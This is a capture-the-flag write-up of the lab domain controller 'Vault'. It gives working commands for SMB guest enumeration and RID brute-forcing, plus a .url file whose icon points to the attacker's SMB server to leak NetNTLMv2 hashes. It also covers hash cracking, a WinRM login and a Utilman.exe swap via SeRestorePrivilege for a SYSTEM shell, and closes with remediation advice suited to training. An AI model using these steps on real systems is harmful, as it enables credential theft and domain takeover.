Summary
Vault is a Windows Server 2019 domain controller (vault.offsec) that rewards careful SMB enumeration. The guest account is enabled and grants READ/WRITE access to a DocumentsShare, and RID brute-forcing reveals the domain user anirudh. Because any content written to the share is browsed by a logged-in user, we plant a malicious internet-shortcut (.url) file whose icon resource points back to our SMB server, coercing the victim into leaking their NetNTLMv2 hash to Responder. The hash cracks offline to a weak password, giving an authenticated WinRM foothold.
The foothold account holds SeRestorePrivilege (and SeBackupPrivilege). SeRestorePrivilege grants the right to write arbitrary files anywhere on disk, bypassing file DACLs. We abuse it with the classic Utilman.exe accessibility hijack: overwrite the Ease-of-Access binary on the RDP logon screen with cmd.exe, then press WIN + U to spawn a shell as NT AUTHORITY\SYSTEM.
Credentials
| username | password | hash |
|---|---|---|
| anirudh | SecureHM |
Reconnaissance
Port scan
rustscan -a 192.168.114.172 -- -sCV -oN target
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-10-17 14:05:13Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: vault.offsec)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: vault.offsec)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (WinRM)
9389/tcp open mc-nmf .NET Message Framing
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
| rdp-ntlm-info:
| NetBIOS_Computer_Name: DC
| DNS_Domain_Name: vault.offsec
| DNS_Computer_Name: DC.vault.offsec
|_ Product_Version: 10.0.17763
The host profile is textbook Active Directory domain controller: Kerberos (88), LDAP (389/3268), DNS (53), SMB (445), plus WinRM (5985) and RDP (3389) exposed. The domain is vault.offsec and the DC is DC.vault.offsec.
SMB enumeration
The guest account is enabled, so we can authenticate with a null/guest session and list shares:
nxc smb 192.168.114.172 -u 'guest' -p '' --shares
SMB 192.168.114.172 445 DC [+] vault.offsec\guest:
SMB 192.168.114.172 445 DC [*] Enumerated shares
SMB 192.168.114.172 445 DC Share Permissions Remark
SMB 192.168.114.172 445 DC ----- ----------- ------
SMB 192.168.114.172 445 DC ADMIN$ Remote Admin
SMB 192.168.114.172 445 DC C$ Default share
SMB 192.168.114.172 445 DC DocumentsShare READ,WRITE
SMB 192.168.114.172 445 DC IPC$ READ Remote IPC
SMB 192.168.114.172 445 DC NETLOGON Logon server share
SMB 192.168.114.172 445 DC SYSVOL Logon server share
DocumentsShare is READ/WRITE for guest. Connecting to it shows it is currently empty:
smbclient -U guest '\\192.168.114.172\DocumentsShare'
smb: \> dir
# (empty)
Next, RID brute-forcing the SAM over the guest session enumerates domain principals and reveals a non-default user:
nxc smb 192.168.114.172 -u 'guest' -p '' --rid-brute
SMB 192.168.114.172 445 DC 500: VAULT\Administrator (SidTypeUser)
SMB 192.168.114.172 445 DC 501: VAULT\Guest (SidTypeUser)
SMB 192.168.114.172 445 DC 502: VAULT\krbtgt (SidTypeUser)
SMB 192.168.114.172 445 DC 1000: VAULT\DC$ (SidTypeUser)
SMB 192.168.114.172 445 DC 1103: VAULT\anirudh (SidTypeUser)
The domain user anirudh (RID 1103) is our target identity.
Initial access
Capturing a NetNTLMv2 hash via a malicious .url file
The writable share is actively browsed by a logged-in user (anirudh). Windows Explorer automatically resolves the icon resource of an internet-shortcut (.url) file as soon as the containing folder is rendered. By pointing that icon to a UNC path on our machine, we coerce the victim into authenticating to us over SMB, leaking their NetNTLMv2 response.
Craft the shortcut — icon.url:
[InternetShortcut]
IconFile=\\192.168.45.204\%USERNAME%.icon
IconIndex=1
Start Responder on the VPN interface to catch the authentication:
sudo responder -I tun0 -wv
Upload the file to the writable share:
smbclient -N '\\192.168.114.172\DocumentsShare'
smb: \> put icon.url
smb: \> dir
icon.url A 73 Sat Oct 17 17:07:06 2026
Shortly after, Responder captures the NetNTLMv2 hash for anirudh.
Copy the entire
anirudh::VAULT:...line exactly as Responder prints it — the challenge/response blob must be intact for Hashcat to parse mode5600.
Cracking the hash
hashcat -m 5600 -a 0 anirudh.hash /usr/share/wordlists/rockyou.txt
The password recovers as SecureHM.
WinRM foothold
With valid credentials we get an interactive shell over WinRM (port 5985):
evil-winrm -i 192.168.114.172 -u anirudh -p SecureHM
Checking our privileges reveals a powerful set of rights for this account:
whoami /priv
Privilege Name Description State
============================= =================================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeSystemtimePrivilege Change the system time Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeRemoteShutdownPrivilege Force shutdown from a remote system Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeTimeZonePrivilege Change the time zone Enabled
Both SeBackupPrivilege (read any file) and SeRestorePrivilege (write any file) are present — either is sufficient for SYSTEM. See the privilege-to-admin reference: https://github.com/gtworek/Priv2Admin
Privilege escalation
SeRestorePrivilege → Utilman.exe hijack
SeRestorePrivilege lets us write to any file on disk regardless of its DACL. The simplest weaponization is the accessibility-tool hijack: the Ease-of-Access button on the Windows logon screen launches C:\Windows\System32\Utilman.exe as SYSTEM before any user logs in. If we swap that binary for cmd.exe, the logon screen hands us a SYSTEM shell.
From the WinRM session, back up the original and replace it with cmd.exe:
cd C:\Windows\System32
rename Utilman.exe Utilman.old
rename cmd.exe Utilman.exe
These renames succeed only because
SeRestorePrivilegeoverrides the restrictive DACLs onSystem32; a normal user would be denied write access here.
Now connect to the RDP logon screen (no credentials needed — we just need to reach the logon UI):
rdesktop 192.168.114.172
At the login screen, press WIN + U (Ease of Access). Instead of the utility manager, a command prompt spawns running as NT AUTHORITY\SYSTEM:
whoami
nt authority\system
Because Vault is the domain controller, SYSTEM on this host is equivalent to full control of the vault.offsec domain. Both the user and root flags are now readable.
Always restore the original binary afterwards to leave the box usable:
rename Utilman.exe cmd.exethenrename Utilman.old Utilman.exe.
Conclusion
Vault chains two very common Windows/AD misconfigurations into full domain compromise:
- Guest-enabled SMB with a writable share. Leaving the
guestaccount enabled allowed anonymous share enumeration, RID brute-forcing of domain users, and — critically — write access to a folder that a privileged user browses. A writable + browsed share is a reliable NTLM-coercion primitive. - An over-privileged service account.
anirudhwas grantedSeBackup/SeRestorePrivilege, both of which are, by design, equivalent to local administrator. Any one of them trivially yields SYSTEM on the host — and on a DC, the entire domain.
Remediation:
- Disable the
guestaccount and removeWRITEfrom shares that do not require it; audit share DACLs. - Disable LLMNR/NBT-NS/WPAD via GPO and enforce SMB signing to blunt NTLM coercion and relay.
- Enforce strong password policy (the foothold password fell instantly to
rockyou.txt). - Treat
SeBackupPrivilege/SeRestorePrivilegeas Tier-0. Grant them only to dedicated backup operators, never to interactive/domain user accounts.